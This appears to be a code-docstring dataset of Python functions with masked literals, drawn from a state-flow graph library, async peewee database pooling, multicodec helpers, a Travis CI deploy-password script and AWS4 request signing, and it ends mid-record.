{"signature": "def remove(self):", "body": "if not self.can_remove():<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT>data = self.data<EOL>self.parents.remove(self)<EOL>self.delete()<EOL>return data<EOL>", "docstring": "Removes the node from the graph.  Note this does not remove the\n        associated data object.  See :func:`Node.can_remove` for limitations\n        on what can be deleted.\n\n        :returns: \n            :class:`BaseNodeData` subclass associated with the deleted Node\n\n        :raises AttributeError:\n           if called on a ``Node`` that cannot be deleted", "id": "f15383:c2:m12"}
{"signature": "def prune(self):", "body": "targets = self.descendents_root()<EOL>try:<EOL><INDENT>targets.remove(self.graph.root)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>results = [n.data for n in targets]<EOL>results.append(self.data)<EOL>for node in targets:<EOL><INDENT>node.delete()<EOL><DEDENT>for parent in self.parents.all():<EOL><INDENT>parent.children.remove(self)<EOL><DEDENT>self.delete()<EOL>return results<EOL>", "docstring": "Removes the node and all descendents without looping back past the\n        root.  Note this does not remove the associated data objects.\n\n        :returns:\n            list of :class:`BaseDataNode` subclassers associated with the\n            removed ``Node`` objects.", "id": "f15383:c2:m13"}
{"signature": "def prune_list(self):", "body": "targets = self.descendents_root()<EOL>try:<EOL><INDENT>targets.remove(self.graph.root)<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>targets.append(self)<EOL>return targets<EOL>", "docstring": "Returns a list of nodes that would be removed if prune were called\n        on this element.", "id": "f15383:c2:m14"}
{"signature": "@classmethod<EOL><INDENT>def on_enter(cls, state):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when a state corresponding to this ``Rule`` is entered.", "id": "f15383:c5:m0"}
{"signature": "@classmethod<EOL><INDENT>def on_leave(cls, state):<DEDENT>", "body": "pass<EOL>", "docstring": "Called when a state corresponding to this ``Rule`` is left.", "id": "f15383:c5:m1"}
{"signature": "@classmethod<EOL><INDENT>def edit_screen(cls, request, flow_node_data):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Called if ``Rule.has_edit_screen`` is ``True`` and the user clicks\n        on a flow node associated with this ``Rule``.\n\n        :returns: \n            implementation should return the HTML to display when the user\n            selects this node on the edit screen.", "id": "f15383:c5:m2"}
{"signature": "def _child_allowed(self, child_rule):", "body": "num_kids = self.node.children.count()<EOL>num_kids_allowed = len(self.rule.children)<EOL>if not self.rule.multiple_paths:<EOL><INDENT>num_kids_allowed = <NUM_LIT:1><EOL><DEDENT>if num_kids >= num_kids_allowed:<EOL><INDENT>raise AttributeError('<STR_LIT>' % (<EOL>self.rule_name, self.num_kids_allowed))<EOL><DEDENT>for node in self.node.children.all():<EOL><INDENT>if node.data.rule_label == child_rule.class_label:<EOL><INDENT>raise AttributeError('<STR_LIT>')<EOL><DEDENT><DEDENT>if child_rule not in self.rule.children:<EOL><INDENT>raise AttributeError('<STR_LIT>' % (<EOL>child_rule.__name__, self.rule_name))<EOL><DEDENT>", "docstring": "Called to verify that the given rule can become a child of the\n        current node.  \n\n        :raises AttributeError: \n            if the child is not allowed", "id": "f15383:c7:m2"}
{"signature": "def add_child_rule(self, child_rule):", "body": "self._child_allowed(child_rule)<EOL>child_node = self.node.add_child(rule_label=child_rule.class_label)<EOL>return child_node.data<EOL>", "docstring": "Add a child path in the :class:`Flow` graph using the given \n        :class:`Rule` subclass.  This will create a new child :class:`Node` in\n        the associated :class:`Flow` object's state graph with a new\n        :class:`FlowNodeData` instance attached.\n\n        The :class:`Rule` must be allowed at this stage of the flow according\n        to the hierarchy of rules.\n\n        :param child_rule: \n            :class:`Rule` class to add to the flow as a child of :class:`Node`\n            that this object owns\n        :returns: \n            ``FlowNodeData`` that was added", "id": "f15383:c7:m3"}
{"signature": "def connect_child(self, child_node):", "body": "self._child_allowed(child_node.rule)<EOL>self.node.connect_child(child_node.node)<EOL>", "docstring": "Adds a connection to an existing rule in the :class`Flow` graph.\n        The given :class`Rule` subclass must be allowed to be connected at\n        this stage of the flow according to the hierarchy of rules.\n\n        :param child_node: \n            ``FlowNodeData`` to attach as a child", "id": "f15383:c7:m4"}
{"signature": "def in_use(self):", "body": "state = State.objects.filter(flow=self).first()<EOL>return bool(state)<EOL>", "docstring": "Returns True if there is a :class:`State` object that uses this\n        ``Flow``", "id": "f15383:c8:m2"}
{"signature": "@property<EOL><INDENT>def root_data(self):<DEDENT>", "body": "return self.state_graph.root.data<EOL>", "docstring": "Returns the :class:`FlowDataNode` object for the root node in the\n        graph.", "id": "f15383:c8:m3"}
{"signature": "@classmethod<EOL><INDENT>def start(self, flow):<DEDENT>", "body": "state = State.objects.create(flow=flow, <EOL>current_node=flow.state_graph.root)<EOL>flow.state_graph.root.data.rule.on_enter(state)<EOL>return state<EOL>", "docstring": "Factory method for a running state based on a flow.  Creates and\n        returns a ``State`` object and calls the associated\n        :func:`Rule.on_enter` method.\n\n        :param flow: \n            :class:`Flow` which defines this state machine\n        :returns: \n            newly created instance", "id": "f15383:c9:m0"}
{"signature": "def next_state(self, rule=None):", "body": "num_kids = self.current_node.children.count()<EOL>next_node = None<EOL>if num_kids == <NUM_LIT:0>:<EOL><INDENT>raise AttributeError('<STR_LIT>' % (<EOL>self.flow.id))<EOL><DEDENT>elif num_kids == <NUM_LIT:1>:<EOL><INDENT>next_node = self.current_node.children.first()<EOL><DEDENT>else:<EOL><INDENT>if not rule:<EOL><INDENT>raise AttributeError(('<STR_LIT>'<EOL>'<STR_LIT>') % self.current_node.data.rule_name)<EOL><DEDENT>for node in self.current_node.children.all():<EOL><INDENT>if node.data.rule_label == rule.class_label:<EOL><INDENT>next_node = node<EOL>break<EOL><DEDENT><DEDENT>if not next_node:<EOL><INDENT>raise AttributeError(('<STR_LIT>'<EOL>'<STR_LIT>') % (<EOL>self.current_node.data.rule_name))<EOL><DEDENT><DEDENT>self.current_node.data.rule.on_leave(self)<EOL>next_node.data.rule.on_enter(self)<EOL>self.current_node = next_node<EOL>self.save()<EOL>", "docstring": "Proceeds to the next step in the flow.  Calls the associated\n        :func:`Rule.on_leave` method for the for the current rule and the\n        :func:`Rule.on_enter` for the rule being entered.  If the current step\n        in the flow is multipath then a valid :class:`Rule` subclass must be\n        passed into this call.  \n\n        If there is only one possible path in the flow and a :class:`Rule` is\n        given it will be ignored.\n\n        :param rule: \n            if the current :class:`Rule` in the :class:`Flow` is multipath\n            then the next :class:`Rule` in the flow must be provided.", "id": "f15383:c9:m2"}
{"signature": "def __getattribute__(self, name):", "body": "if name in METHODS:<EOL><INDENT>return object.__getattribute__(self, name)<EOL><DEDENT>try:<EOL><INDENT>return getattr(self.__current__, name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>if name not in CONN_PARAMS:<EOL><INDENT>raise<EOL><DEDENT>default = CONN_PARAMS[name]()<EOL>setattr(self, name, default)<EOL>return default<EOL><DEDENT>", "docstring": "Get attribute from current task's space.", "id": "f15392:c0:m0"}
{"signature": "def __setattr__(self, name, value):", "body": "self.__current__.__dict__[name] = value<EOL>", "docstring": "Set attribute to current space.", "id": "f15392:c0:m1"}
{"signature": "def __delattr__(self, name):", "body": "delattr(self.__current__, name)<EOL>", "docstring": "Delete attribute from current space.", "id": "f15392:c0:m2"}
{"signature": "@property<EOL><INDENT>def __current__(self):<DEDENT>", "body": "loop = asyncio.get_event_loop()<EOL>if not loop or not loop.is_running():<EOL><INDENT>return THREADING_LOCAL<EOL><DEDENT>task = asyncio.Task.current_task(loop=loop)<EOL>if not task:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>if not hasattr(task, '<STR_LIT>'):<EOL><INDENT>task._locals = lambda: None<EOL><DEDENT>return task._locals<EOL>", "docstring": "Create namespace inside running task.", "id": "f15392:c0:m3"}
{"signature": "def init_async(self, loop=None):", "body": "self._loop = loop or asyncio.get_event_loop()<EOL>self._async_lock = asyncio.Lock(loop=loop)<EOL>if not self.database == '<STR_LIT>':<EOL><INDENT>self._state = ConnectionLocal()<EOL><DEDENT>", "docstring": "Use when application is starting.", "id": "f15392:c1:m0"}
{"signature": "async def async_connect(self):", "body": "if self._async_lock is None:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>async with self._async_lock:<EOL><INDENT>self.connect(True)<EOL><DEDENT>return self._state.conn<EOL>", "docstring": "Catch a connection asyncrounosly.", "id": "f15392:c1:m1"}
{"signature": "async def async_close(self):", "body": "if self._async_lock is None:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>async with self._async_lock:<EOL><INDENT>self.close()<EOL><DEDENT>", "docstring": "Close the current connection asyncrounosly.", "id": "f15392:c1:m2"}
{"signature": "def init_async(self, loop):", "body": "super(PooledAIODatabase, self).init_async(loop)<EOL>self._waiters = collections.deque()<EOL>", "docstring": "Initialize self.", "id": "f15392:c2:m0"}
{"signature": "async def async_connect(self):", "body": "if self._waiters is None:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if self._waiters or self.max_connections and (len(self._in_use) >= self.max_connections):<EOL><INDENT>waiter = asyncio.Future(loop=self._loop)<EOL>self._waiters.append(waiter)<EOL>try:<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>await waiter<EOL><DEDENT>finally:<EOL><INDENT>self._waiters.remove(waiter)<EOL><DEDENT><DEDENT>self.connect()<EOL>return self._state.conn<EOL>", "docstring": "Asyncronously wait for a connection from the pool.", "id": "f15392:c2:m1"}
{"signature": "def _close(self, conn):", "body": "super(PooledAIODatabase, self)._close(conn)<EOL>for waiter in self._waiters:<EOL><INDENT>if not waiter.done():<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>waiter.set_result(True)<EOL>break<EOL><DEDENT><DEDENT>", "docstring": "Release waiters.", "id": "f15392:c2:m2"}
{"signature": "def __init__(self, app, request=None):", "body": "super(DebugPanel, self).__init__(app, request)<EOL>LOGGER.setLevel(logging.DEBUG)<EOL>self.handler = LoggingTrackingHandler()<EOL>", "docstring": "Initialize the panel.", "id": "f15393:c0:m0"}
{"signature": "def wrap_handler(self, handler, context_switcher):", "body": "context_switcher.add_context_in(lambda: LOGGER.addHandler(self.handler))<EOL>context_switcher.add_context_out(lambda: LOGGER.removeHandler(self.handler))<EOL>", "docstring": "Enable/Disable handler.", "id": "f15393:c0:m1"}
{"signature": "@property<EOL><INDENT>def nav_title(self):<DEDENT>", "body": "return \"<STR_LIT>\" % (self.title, len(self.handler.records))<EOL>", "docstring": "Get a navigation title.", "id": "f15393:c0:m2"}
{"signature": "@property<EOL><INDENT>def has_content(self):<DEDENT>", "body": "return self.handler.records<EOL>", "docstring": "Return true if records were logged.", "id": "f15393:c0:m3"}
{"signature": "def render_vars(self):", "body": "return {<EOL>'<STR_LIT>': [<EOL>{<EOL>'<STR_LIT:message>': record.getMessage(),<EOL>'<STR_LIT:time>': dt.datetime.fromtimestamp(record.created).strftime('<STR_LIT>'),<EOL>} for record in self.handler.records<EOL>]<EOL>}<EOL>", "docstring": "Template variables.", "id": "f15393:c0:m4"}
{"signature": "def __init__(self, dumps=None, loads=None, *args, **kwargs):", "body": "self.dumps = dumps or ujson.dumps<EOL>self.loads = loads or ujson.loads<EOL>super(JSONField, self).__init__(*args, **kwargs)<EOL>", "docstring": "Initialize the serializer.", "id": "f15394:c0:m0"}
{"signature": "@cached_property<EOL><INDENT>def field_type(self):<DEDENT>", "body": "if not self.model:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>database = self.model._meta.database<EOL>if isinstance(database, Proxy):<EOL><INDENT>database = database.obj<EOL><DEDENT>if Json and isinstance(database, PostgresqlDatabase):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Return database field type.", "id": "f15394:c0:m1"}
{"signature": "def db_value(self, value):", "body": "if self.field_type == '<STR_LIT>':<EOL><INDENT>return self.dumps(value)<EOL><DEDENT>if not isinstance(value, Json):<EOL><INDENT>return Json(value, dumps=self.dumps)<EOL><DEDENT>return value<EOL>", "docstring": "Convert python value to database.", "id": "f15394:c0:m2"}
{"signature": "def python_value(self, value):", "body": "if self.field_type == '<STR_LIT>' and isinstance(value, str):<EOL><INDENT>return self.loads(value)<EOL><DEDENT>return value<EOL>", "docstring": "Parse value from database.", "id": "f15394:c0:m3"}
{"signature": "def __getitem__(self, value):", "body": "return JsonLookup(self, [value])<EOL>", "docstring": "Lookup item in database.", "id": "f15394:c0:m4"}
{"signature": "def __init__(self, *choices):", "body": "self._choices = []<EOL>self._reversed = {}<EOL>for choice in choices:<EOL><INDENT>if isinstance(choice, str):<EOL><INDENT>choice = (choice, choice)<EOL><DEDENT>self._choices.append(choice)<EOL>self._reversed[str(choice[<NUM_LIT:1>])] = choice[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Parse provided choices.", "id": "f15396:c0:m0"}
{"signature": "def __getattr__(self, name, default=None):", "body": "return self._reversed.get(name, default)<EOL>", "docstring": "Get choice value by name.", "id": "f15396:c0:m1"}
{"signature": "def __iter__(self):", "body": "return iter(self._choices)<EOL>", "docstring": "Iterate self.", "id": "f15396:c0:m2"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT:U+002CU+0020>\".join(self._reversed.keys())<EOL>", "docstring": "Get string representation.", "id": "f15396:c0:m3"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\" % self<EOL>", "docstring": "Python representation.", "id": "f15396:c0:m4"}
{"signature": "@property<EOL><INDENT>def pk(self):<DEDENT>", "body": "return self._pk<EOL>", "docstring": "Return primary key value.", "id": "f15396:c1:m0"}
{"signature": "def __init__(self, app=None, **options):", "body": "self.database = pw.Proxy()<EOL>self.models = Struct()<EOL>self.router = None<EOL>super().__init__(app, **options)<EOL>", "docstring": "Initialize the plugin.", "id": "f15397:c0:m0"}
{"signature": "def setup(self, app):  ", "body": "super().setup(app)<EOL>self.database.initialize(connect(self.cfg.connection, **self.cfg.connection_params))<EOL>if self.database.database == '<STR_LIT>':<EOL><INDENT>self.cfg.connection_manual = True<EOL><DEDENT>if not self.cfg.migrations_enabled:<EOL><INDENT>return<EOL><DEDENT>self.router = Router(self.database, migrate_dir=self.cfg.migrations_path)<EOL>def pw_migrate(name: str=None, fake: bool=False):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>self.router.run(name, fake=fake)<EOL><DEDENT>self.app.manage.command(pw_migrate)<EOL>def pw_rollback(name: str=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if not name:<EOL><INDENT>name = self.router.done[-<NUM_LIT:1>]<EOL><DEDENT>self.router.rollback(name)<EOL><DEDENT>self.app.manage.command(pw_rollback)<EOL>def pw_create(name: str='<STR_LIT>', auto: bool=False):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if auto:<EOL><INDENT>auto = list(self.models.values())<EOL><DEDENT>self.router.create(name, auto)<EOL><DEDENT>self.app.manage.command(pw_create)<EOL>def pw_list():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>self.router.logger.info('<STR_LIT>')<EOL>self.router.logger.info('<STR_LIT:\\n>'.join(self.router.done))<EOL>self.router.logger.info('<STR_LIT>')<EOL>self.router.logger.info('<STR_LIT>')<EOL>self.router.logger.info('<STR_LIT:\\n>'.join(self.router.diff))<EOL><DEDENT>self.app.manage.command(pw_list)<EOL>@self.app.manage.command<EOL>def pw_merge():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>self.router.merge()<EOL><DEDENT>self.app.manage.command(pw_merge)<EOL>", "docstring": "Initialize the application.", "id": "f15397:c0:m1"}
{"signature": "def startup(self, app):", "body": "self.database.init_async(app.loop)<EOL>if not self.cfg.connection_manual:<EOL><INDENT>app.middlewares.insert(<NUM_LIT:0>, self._middleware)<EOL><DEDENT>", "docstring": "Register connection's middleware and prepare self database.", "id": "f15397:c0:m2"}
{"signature": "def cleanup(self, app):", "body": "if hasattr(self.database.obj, '<STR_LIT>'):<EOL><INDENT>self.database.close_all()<EOL><DEDENT>", "docstring": "Close all connections.", "id": "f15397:c0:m3"}
{"signature": "def register(self, model):", "body": "self.models[model._meta.table_name] = model<EOL>model._meta.database = self.database<EOL>return model<EOL>", "docstring": "Register a model in self.", "id": "f15397:c0:m5"}
{"signature": "async def manage(self):", "body": "cm = _ContextManager(self.database)<EOL>if isinstance(self.database.obj, AIODatabase):<EOL><INDENT>cm.connection = await self.database.async_connect()<EOL><DEDENT>else:<EOL><INDENT>cm.connection = self.database.connect()<EOL><DEDENT>return cm<EOL>", "docstring": "Manage a database connection.", "id": "f15397:c0:m6"}
{"signature": "def migrate(migrator, database, **kwargs):", "body": "@migrator.create_table<EOL>class DataItem(pw.Model):<EOL><INDENT>created = pw.DateTimeField(default=dt.datetime.utcnow)<EOL>content = pw.CharField()<EOL><DEDENT>", "docstring": "Write your migrations here.\n\n    > Model = migrator.orm['name']\n\n    > migrator.sql(sql)\n    > migrator.create_table(Model)\n    > migrator.drop_table(Model, cascade=True)\n    > migrator.add_columns(Model, **fields)\n    > migrator.change_columns(Model, **fields)\n    > migrator.drop_columns(Model, *field_names, cascade=True)\n    > migrator.rename_column(Model, old_field_name, new_field_name)\n    > migrator.rename_table(Model, new_table_name)\n    > migrator.add_index(Model, *col_names, unique=False)\n    > migrator.drop_index(Model, index_name)\n    > migrator.add_not_null(Model, field_name)\n    > migrator.drop_not_null(Model, field_name)\n    > migrator.add_default(Model, field_name, default)", "id": "f15399:m0"}
{"signature": "@app.register('<STR_LIT>')<EOL>def generate(request):", "body": "models.DataItem.create(<EOL>content='<STR_LIT>'.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(<NUM_LIT:20>))<EOL>)<EOL>return muffin.HTTPFound('<STR_LIT:/>')<EOL>", "docstring": "Create a new DataItem.", "id": "f15400:m1"}
{"signature": "@app.register('<STR_LIT>')<EOL>def clean(request):", "body": "models.DataItem.delete().execute()<EOL>return muffin.HTTPFound('<STR_LIT:/>')<EOL>", "docstring": "Create a new DataItem.", "id": "f15400:m2"}
{"signature": "def extract_prefix(bytes_):", "body": "try:<EOL><INDENT>return varint.decode_bytes(bytes_)<EOL><DEDENT>except TypeError:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Extracts the prefix from multicodec prefixed data\n\n:param bytes bytes_: multicodec prefixed data\n:return: prefix for the prefixed data\n:rtype: bytes\n:raises ValueError: when incorrect varint is provided", "id": "f15407:m0"}
{"signature": "def get_prefix(multicodec):", "body": "try:<EOL><INDENT>prefix = varint.encode(NAME_TABLE[multicodec])<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(multicodec))<EOL><DEDENT>return prefix<EOL>", "docstring": "Returns prefix for a given multicodec\n\n:param str multicodec: multicodec codec name\n:return: the prefix for the given multicodec\n:rtype: byte\n:raises ValueError: if an invalid multicodec name is provided", "id": "f15407:m1"}
{"signature": "def add_prefix(multicodec, bytes_):", "body": "prefix = get_prefix(multicodec)<EOL>return b'<STR_LIT>'.join([prefix, bytes_])<EOL>", "docstring": "Adds multicodec prefix to the given bytes input\n\n:param str multicodec: multicodec to use for prefixing\n:param bytes bytes_: data to prefix\n:return: prefixed byte data\n:rtype: bytes", "id": "f15407:m2"}
{"signature": "def remove_prefix(bytes_):", "body": "prefix_int = extract_prefix(bytes_)<EOL>prefix = varint.encode(prefix_int)<EOL>return bytes_[len(prefix):]<EOL>", "docstring": "Removes prefix from a prefixed data\n\n:param bytes bytes_: multicodec prefixed data bytes\n:return: prefix removed data bytes\n:rtype: bytes", "id": "f15407:m3"}
{"signature": "def get_codec(bytes_):", "body": "prefix = extract_prefix(bytes_)<EOL>try:<EOL><INDENT>return CODE_TABLE[prefix]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(prefix))<EOL><DEDENT>", "docstring": "Gets the codec used for prefix the multicodec prefixed data\n\n:param bytes bytes_: multicodec prefixed data bytes\n:return: name of the multicodec used to prefix\n:rtype: str", "id": "f15407:m4"}
{"signature": "def is_codec(name):", "body": "return name in NAME_TABLE<EOL>", "docstring": "Check if the codec is a valid codec or not\n\n:param str name: name of the codec\n:return: if the codec is valid or not\n:rtype: bool", "id": "f15407:m5"}
{"signature": "def load_key(pubkey):", "body": "try:<EOL><INDENT>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>except ValueError:<EOL><INDENT>pubkey = pubkey.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>", "docstring": "Load public RSA key.\n\n    Work around keys with incorrect header/footer format.\n\n    Read more about RSA encryption with cryptography:\n    https://cryptography.io/latest/hazmat/primitives/asymmetric/rsa/", "id": "f15410:m0"}
{"signature": "def encrypt(pubkey, password):", "body": "key = load_key(pubkey)<EOL>encrypted_password = key.encrypt(password, PKCS1v15())<EOL>return base64.b64encode(encrypted_password)<EOL>", "docstring": "Encrypt password using given RSA public key and encode it with base64.\n\n    The encrypted password can only be decrypted by someone with the\n    private key (in this case, only Travis).", "id": "f15410:m1"}
{"signature": "def fetch_public_key(repo):", "body": "keyurl = '<STR_LIT>'.format(repo)<EOL>data = json.loads(urlopen(keyurl).read().decode())<EOL>if '<STR_LIT:key>' not in data:<EOL><INDENT>errmsg = \"<STR_LIT>\".format(repo)<EOL>errmsg += \"<STR_LIT>\"<EOL>raise ValueError(errmsg)<EOL><DEDENT>return data['<STR_LIT:key>']<EOL>", "docstring": "Download RSA public key Travis will use for this repo.\n\n    Travis API docs: http://docs.travis-ci.com/api/#repository-keys", "id": "f15410:m2"}
{"signature": "def prepend_line(filepath, line):", "body": "with open(filepath) as f:<EOL><INDENT>lines = f.readlines()<EOL><DEDENT>lines.insert(<NUM_LIT:0>, line)<EOL>with open(filepath, '<STR_LIT:w>') as f:<EOL><INDENT>f.writelines(lines)<EOL><DEDENT>", "docstring": "Rewrite a file adding a line to its beginning.", "id": "f15410:m3"}
{"signature": "def load_yaml_config(filepath):", "body": "with open(filepath) as f:<EOL><INDENT>return yaml.load(f)<EOL><DEDENT>", "docstring": "Load yaml config file at the given path.", "id": "f15410:m4"}
{"signature": "def save_yaml_config(filepath, config):", "body": "with open(filepath, '<STR_LIT:w>') as f:<EOL><INDENT>yaml.dump(config, f, default_flow_style=False)<EOL><DEDENT>", "docstring": "Save yaml config file at the given path.", "id": "f15410:m5"}
{"signature": "def update_travis_deploy_password(encrypted_password):", "body": "config = load_yaml_config(TRAVIS_CONFIG_FILE)<EOL>config['<STR_LIT>']['<STR_LIT:password>'] = dict(secure=encrypted_password)<EOL>save_yaml_config(TRAVIS_CONFIG_FILE, config)<EOL>line = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>prepend_line(TRAVIS_CONFIG_FILE, line)<EOL>", "docstring": "Put `encrypted_password` into the deploy section of .travis.yml.", "id": "f15410:m6"}
{"signature": "def main(args):", "body": "public_key = fetch_public_key(args.repo)<EOL>password = args.password or getpass('<STR_LIT>')<EOL>update_travis_deploy_password(encrypt(public_key, password.encode()))<EOL>print(\"<STR_LIT>\")<EOL>", "docstring": "Add a PyPI password to .travis.yml so that Travis can deploy to PyPI.\n\n    Fetch the Travis public key for the repo, and encrypt the PyPI password\n    with it before adding, so that only Travis can decrypt and use the PyPI\n    password.", "id": "f15410:m7"}
{"signature": "def __init__(self, secret_key, region, service, date=None,<EOL>store_secret_key=True):", "body": "self.region = region<EOL>self.service = service<EOL>self.date = date or datetime.utcnow().strftime('<STR_LIT>')<EOL>self.scope = '<STR_LIT>'.format(<EOL>self.date,<EOL>self.region,<EOL>self.service)<EOL>self.store_secret_key = store_secret_key<EOL>self.secret_key = secret_key if self.store_secret_key else None<EOL>self.key = self.generate_key(secret_key, self.region,<EOL>self.service, self.date)<EOL>", "docstring": ">>> AWS4SigningKey(secret_key, region, service[, date]\n...                [, store_secret_key])\n\nsecret_key -- This is your AWS secret access key\nregion     -- The region you're connecting to, as per list at\n              http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region\n              e.g. us-east-1. For services which don't require a\n              region (e.g. IAM), use us-east-1.\nservice    -- The name of the service you're connecting to, as per\n              endpoints at:\n              http://docs.aws.amazon.com/general/latest/gr/rande.html\n              e.g. elasticbeanstalk\ndate       -- 8-digit date of the form YYYYMMDD. Key is only valid for\n              requests with a Date or X-Amz-Date header matching this\n              date. If date is not supplied the current date is\n              used.\nstore_secret_key\n           -- Whether the secret key is stored in the instance. By\n              default this is True, meaning the key is stored in\n              the secret_key property and is available to any\n              code the instance is passed to. Having the secret\n              key retained makes it easier to regenerate the key\n              if a scope parameter changes (usually the date).\n              This is used by the AWS4Auth class to perform its\n              automatic key updates when a request date/scope date\n              mismatch is encountered.\n\n              If you are passing instances to untrusted code you can\n              set this to False. This will cause the secret key to be\n              discarded as soon as the signing key has been generated.\n              Note though that you will need to manually regenerate\n              keys when needed (or if you use the regenerate_key()\n              method on an AWS4Auth instance you will need to pass it\n              the secret key).\n\nAll arguments should be supplied as strings.", "id": "f15413:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def generate_key(cls, secret_key, region, service, date,<EOL>intermediates=False):<DEDENT>", "body": "init_key = ('<STR_LIT>' + secret_key).encode('<STR_LIT:utf-8>')<EOL>date_key = cls.sign_sha256(init_key, date)<EOL>region_key = cls.sign_sha256(date_key, region)<EOL>service_key = cls.sign_sha256(region_key, service)<EOL>key = cls.sign_sha256(service_key, '<STR_LIT>')<EOL>if intermediates:<EOL><INDENT>return (key, date_key, region_key, service_key)<EOL><DEDENT>else:<EOL><INDENT>return key<EOL><DEDENT>", "docstring": "Generate the signing key string as bytes.\n\nIf intermediate is set to True, returns a 4-tuple containing the key\nand the intermediate keys:\n\n( signing_key, date_key, region_key, service_key )\n\nThe intermediate keys can be used for testing against examples from\nAmazon.", "id": "f15413:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def sign_sha256(key, msg):<DEDENT>", "body": "if isinstance(msg, text_type):<EOL><INDENT>msg = msg.encode('<STR_LIT:utf-8>')<EOL><DEDENT>return hmac.new(key, msg, hashlib.sha256).digest()<EOL>", "docstring": "Generate an SHA256 HMAC, encoding msg to UTF-8 if not\nalready encoded.\n\nkey -- signing key. bytes.\nmsg -- message to sign. unicode or bytes.", "id": "f15413:c0:m2"}
{"signature": "def request_from_text(text):", "body": "lines = text.splitlines()<EOL>match = re.search('<STR_LIT>', lines[<NUM_LIT:0>], re.I)<EOL>method, path, version = match.groups()<EOL>headers = {}<EOL>for idx, line in enumerate(lines[<NUM_LIT:1>:], start=<NUM_LIT:1>):<EOL><INDENT>if not line:<EOL><INDENT>break<EOL><DEDENT>hdr, val = [item.strip() for item in line.split('<STR_LIT::>', <NUM_LIT:1>)]<EOL>hdr = hdr.lower()<EOL>vals = headers.setdefault(hdr, [])<EOL>vals.append(val)<EOL><DEDENT>headers = {hdr: '<STR_LIT:U+002C>'.join(sorted(vals)) for hdr, vals in headers.items()}<EOL>check_url = urlparse(path)<EOL>if check_url.scheme and check_url.netloc:<EOL><INDENT>url = path<EOL><DEDENT>else:<EOL><INDENT>url = '<STR_LIT>'.join(['<STR_LIT>' if '<STR_LIT:host>' in headers else '<STR_LIT>',<EOL>headers.get('<STR_LIT:host>', '<STR_LIT>'),<EOL>path])<EOL><DEDENT>body = '<STR_LIT:\\n>'.join(lines[idx+<NUM_LIT:1>:])<EOL>req = requests.Request(method, url, headers=headers, data=body)<EOL>return req.prepare()<EOL>", "docstring": "Construct a Requests PreparedRequest using values provided in text.\n\ntext should be a plaintext HTTP request, as defined in RFC7230.", "id": "f15414:m0"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "l = len(args)<EOL>if l not in [<NUM_LIT:2>, <NUM_LIT:4>, <NUM_LIT:5>]:<EOL><INDENT>msg = '<STR_LIT>'.format(l)<EOL>raise TypeError(msg)<EOL><DEDENT>self.access_id = args[<NUM_LIT:0>]<EOL>if isinstance(args[<NUM_LIT:1>], AWS4SigningKey) and l == <NUM_LIT:2>:<EOL><INDENT>self.signing_key = args[<NUM_LIT:1>]<EOL>self.region = self.signing_key.region<EOL>self.service = self.signing_key.service<EOL>self.date = self.signing_key.date<EOL><DEDENT>elif l in [<NUM_LIT:4>, <NUM_LIT:5>]:<EOL><INDENT>secret_key = args[<NUM_LIT:1>]<EOL>self.region = args[<NUM_LIT:2>]<EOL>self.service = args[<NUM_LIT:3>]<EOL>self.date = args[<NUM_LIT:4>] if l == <NUM_LIT:5> else None<EOL>self.signing_key = None<EOL>self.regenerate_signing_key(secret_key=secret_key)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError()<EOL><DEDENT>raise_invalid_date = kwargs.get('<STR_LIT>', False)<EOL>if raise_invalid_date in [True, False]:<EOL><INDENT>self.raise_invalid_date = raise_invalid_date<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.session_token = kwargs.get('<STR_LIT>')<EOL>if self.session_token:<EOL><INDENT>self.default_include_headers.append('<STR_LIT>')<EOL><DEDENT>self.include_hdrs = kwargs.get('<STR_LIT>',<EOL>self.default_include_headers)<EOL>AuthBase.__init__(self)<EOL>", "docstring": "AWS4Auth instances can be created by supplying key scope parameters\ndirectly or by using an AWS4SigningKey instance:\n\n>>> auth = AWS4Auth(access_id, secret_key, region, service\n...                 [, date][, raise_invalid_date=False][, session_token=None])\n\n  or\n\n>>> auth = AWS4Auth(access_id, signing_key[, raise_invalid_date=False])\n\naccess_id   -- This is your AWS access ID\nsecret_key  -- This is your AWS secret access key\nregion      -- The region you're connecting to, as per the list at\n               http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region\n               e.g. us-east-1. For services which don't require a region\n               